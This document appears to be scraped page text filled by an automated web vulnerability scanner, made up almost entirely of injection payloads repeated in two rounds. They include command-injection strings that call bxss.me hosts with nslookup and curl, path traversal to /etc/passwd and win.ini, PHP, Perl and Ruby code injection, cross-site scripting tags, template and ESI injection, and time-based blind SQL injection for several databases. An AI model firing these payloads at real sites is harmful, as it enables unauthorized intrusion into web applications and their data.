555

response.write(9304294*9879507)

echo ervafw$() jxqaeanz^xyu||a #' &echo ervafw$() jxqaeanz^xyu||a #|" &echo ervafw$() jxqaeanz^xyu||a #

WAFHXPz1

'+response.write(9304294*9879507)+'

&echo ryrezi$() kidrpunz^xyu||a #' &echo ryrezi$() kidrpunz^xyu||a #|" &echo ryrezi$() kidrpunz^xyu||a #

"+response.write(9304294*9879507)+"

555&echo btprvh$() ddtgbfnz^xyu||a #' &echo btprvh$() ddtgbfnz^xyu||a #|" &echo btprvh$() ddtgbfnz^xyu||a #

555

|echo ycbcbf$() evewebnz^xyu||a #' |echo ycbcbf$() evewebnz^xyu||a #|" |echo ycbcbf$() evewebnz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

555|echo dxnaqu$() jkddvcnz^xyu||a #' |echo dxnaqu$() jkddvcnz^xyu||a #|" |echo dxnaqu$() jkddvcnz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

555
bcc:0.45-220739.45.7679b.20268.2@bxss.me

(nslookup -q=cname hitkfinbbsfjv363db.bxss.me||curl hitkfinbbsfjv363db.bxss.me))

to@example.com>
bcc:0.45-220740.45.7679b.20268.2@bxss.me

file:///etc/passwd

555

$(nslookup -q=cname hitgprrtsvmiyc3749.bxss.me||curl hitgprrtsvmiyc3749.bxss.me)

555

555

&nslookup -q=cname hitlxtplhltzza86bf.bxss.me&'"`0&nslookup -q=cname hitlxtplhltzza86bf.bxss.me&`'

../555

555

&(nslookup -q=cname hitpdarotjncx7f87b.bxss.me||curl hitpdarotjncx7f87b.bxss.me)&'"`0&(nslookup -q=cname hitpdarotjncx7f87b.bxss.me||curl hitpdarotjncx7f87b.bxss.me)&`'

555

|(nslookup -q=cname hityumrbvgzhp342d3.bxss.me||curl hityumrbvgzhp342d3.bxss.me)

555

`(nslookup -q=cname hituqhyeiuzhk0c344.bxss.me||curl hituqhyeiuzhk0c344.bxss.me)`

555

;(nslookup -q=cname hitlbxgadbndte0625.bxss.me||curl hitlbxgadbndte0625.bxss.me)|(nslookup -q=cname hitlbxgadbndte0625.bxss.me||curl hitlbxgadbndte0625.bxss.me)&(nslookup -q=cname hitlbxgadbndte0625.bxss.me||curl hitlbxgadbndte0625.bxss.me)

12345'"'");|]*{
<>

555

555<esi:include src="http://bxss.me/rpb.png"/>

${9999085+9999697}

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555

555

555

555

/etc/shells

555&n965135=v965580

555

)

c:/windows/win.ini

555

555

!(()&&!|*|*|

555

bxss.me

^(#$!@#$)(()))******

555

555

555

555

555

555

555

555

555

555

'.gethostbyname(lc('hitfo'.'xfmskcjn86844.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(76).chr(114).chr(88).'

".gethostbyname(lc("hitkm"."vgkhsttje90ee.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(77).chr(100).chr(79)."

555

555

555

555

'"()

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

555'&&sleep(27*1000)*pzjfzz&&'

555

555

';print(md5(31337));$a='

555

555"&&sleep(27*1000)*xjacfi&&"

555

555

";print(md5(31337));$a="

555'||sleep(27*1000)*pqlzeg||'

555

555

${@print(md5(31337))}

555"||sleep(27*1000)*khtxhe||"

555

555

${@print(md5(31337))}

555

555

'.print(md5(31337)).'

bxss.me/t/xss.html?%00

555

555

555

555

555

555

555

555

555

555

"+"A".concat(70-3).concat(22*4).concat(115).concat(82).concat(112).concat(87)+(require"socket"
Socket.gethostbyname("hityv"+"gnbthrjcde407.bxss.me.")[3].to_s)+"

reply

555

'+'A'.concat(70-3).concat(22*4).concat(115).concat(84).concat(118).concat(76)+(require'socket'
Socket.gethostbyname('hitoq'+'aawvsxkw26e86.bxss.me.')[3].to_s)+'

555

reply

555

555

reply/.

555

555

555

555

555

555

-1 OR 2+191-191-1=0+0+0+1 --

555

555

555

-1 OR 2+736-736-1=0+0+0+1

555

555

-1' OR 2+935-935-1=0+0+0+1 --

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

xfs.bxss.me

555

555

-1' OR 2+744-744-1=0+0+0+1 or 'EpiRHxaP'='

'"

555

555

-1" OR 2+461-461-1=0+0+0+1 --

555

555

<!--

555'"()&%<zzz><ScRiPt >ddzE(9479)</ScRiPt>

555

555

555

'"()&%<zzz><ScRiPt >ddzE(9925)</ScRiPt>

555

5559368738

555

555

555

555

555

555

555

555

555

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

MP0X0eNz'; waitfor delay '0:0:15' --

-5 OR 520=(SELECT 520 FROM PG_SLEEP(15))--

-5) OR 728=(SELECT 728 FROM PG_SLEEP(15))--

-1)) OR 506=(SELECT 506 FROM PG_SLEEP(15))--

1ysvInVb' OR 460=(SELECT 460 FROM PG_SLEEP(15))--

PiqXDxTN') OR 303=(SELECT 303 FROM PG_SLEEP(15))--

U06SlInw')) OR 588=(SELECT 588 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@fpPVf

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9311251*9316930)

iZmWT5E4

../../../../../../../../../../../../../../etc/passwd

echo svmyec$() flcxkznz^xyu||a #' &echo svmyec$() flcxkznz^xyu||a #|" &echo svmyec$() flcxkznz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

'+response.write(9311251*9316930)+'

&echo pvslvo$() typnmtnz^xyu||a #' &echo pvslvo$() typnmtnz^xyu||a #|" &echo pvslvo$() typnmtnz^xyu||a #

555
bcc:0.45-230664.45.7679b.20268.2@bxss.me

file:///etc/passwd

"+response.write(9311251*9316930)+"

555&echo eapyis$() oraavpnz^xyu||a #' &echo eapyis$() oraavpnz^xyu||a #|" &echo eapyis$() oraavpnz^xyu||a #

to@example.com>
bcc:0.45-230665.45.7679b.20268.2@bxss.me

555

|echo swqnvs$() vdmzlznz^xyu||a #' |echo swqnvs$() vdmzlznz^xyu||a #|" |echo swqnvs$() vdmzlznz^xyu||a #

../555

12345'"'");|]*{
<>

555|echo quajzl$() bsvitknz^xyu||a #' |echo quajzl$() bsvitknz^xyu||a #|" |echo quajzl$() bsvitknz^xyu||a #

555

(nslookup -q=cname hitlmhpskkeqr5a5e3.bxss.me||curl hitlmhpskkeqr5a5e3.bxss.me))

$(nslookup -q=cname hitxiosiubikud058a.bxss.me||curl hitxiosiubikud058a.bxss.me)

&nslookup -q=cname hitcbsjsfrhdue41bf.bxss.me&'"`0&nslookup -q=cname hitcbsjsfrhdue41bf.bxss.me&`'

555<esi:include src="http://bxss.me/rpb.png"/>

555

&(nslookup -q=cname hitckaadptccl8d48c.bxss.me||curl hitckaadptccl8d48c.bxss.me)&'"`0&(nslookup -q=cname hitckaadptccl8d48c.bxss.me||curl hitckaadptccl8d48c.bxss.me)&`'

${10000450+9999018}

555

|(nslookup -q=cname hitjijwkeywdf06b98.bxss.me||curl hitjijwkeywdf06b98.bxss.me)

`(nslookup -q=cname hittgxrvcwfpd79d0b.bxss.me||curl hittgxrvcwfpd79d0b.bxss.me)`

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

;(nslookup -q=cname hitwuipgqpupp470d4.bxss.me||curl hitwuipgqpupp470d4.bxss.me)|(nslookup -q=cname hitwuipgqpupp470d4.bxss.me||curl hitwuipgqpupp470d4.bxss.me)&(nslookup -q=cname hitwuipgqpupp470d4.bxss.me||curl hitwuipgqpupp470d4.bxss.me)

555&n953246=v975283

)

555

!(()&&!|*|*|

/etc/shells

^(#$!@#$)(()))******

c:/windows/win.ini

bxss.me

555

555

'"()

555'&&sleep(27*1000)*gvzcrj&&'

'.gethostbyname(lc('hitad'.'repczbdrb0a3e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(76).chr(118).chr(88).'

555"&&sleep(27*1000)*laiqgy&&"

".gethostbyname(lc("hitjv"."bobghwctbccfb.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(66).chr(121).chr(70)."

555'||sleep(27*1000)*ejjyad||'

555"||sleep(27*1000)*mcxghq||"

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

555

";print(md5(31337));$a="

${@print(md5(31337))}

bxss.me/t/xss.html?%00

${@print(md5(31337))}

'.print(md5(31337)).'

"+"A".concat(70-3).concat(22*4).concat(98).concat(70).concat(97).concat(86)+(require"socket"
Socket.gethostbyname("hitjm"+"xjuwxggsce1d4.bxss.me.")[3].to_s)+"

reply

'+'A'.concat(70-3).concat(22*4).concat(101).concat(67).concat(119).concat(89)+(require'socket'
Socket.gethostbyname('hittl'+'hkccubgpccbc2.bxss.me.')[3].to_s)+'

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

reply

555

xfs.bxss.me

reply/.

'"

555

555'"()&%<zzz><ScRiPt >4tFu(9750)</ScRiPt>

<!--

555

555

'"()&%<zzz><ScRiPt >4tFu(9716)</ScRiPt>

555

-1 OR 2+656-656-1=0+0+0+1 --

555

-1 OR 2+919-919-1=0+0+0+1

5559984883

-1' OR 2+136-136-1=0+0+0+1 --

-1' OR 2+477-477-1=0+0+0+1 or 'M9Mk4tIZ'='

-1" OR 2+417-417-1=0+0+0+1 --

555

555

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

MpwUDGhk'; waitfor delay '0:0:15' --

-5 OR 931=(SELECT 931 FROM PG_SLEEP(15))--

-5) OR 591=(SELECT 591 FROM PG_SLEEP(15))--

-1)) OR 735=(SELECT 735 FROM PG_SLEEP(15))--

BS8sDlGW' OR 119=(SELECT 119 FROM PG_SLEEP(15))--

gOymA5aN') OR 497=(SELECT 497 FROM PG_SLEEP(15))--

UT4Ro3gT')) OR 118=(SELECT 118 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@uIMxA

555

555

555

555

555

555

555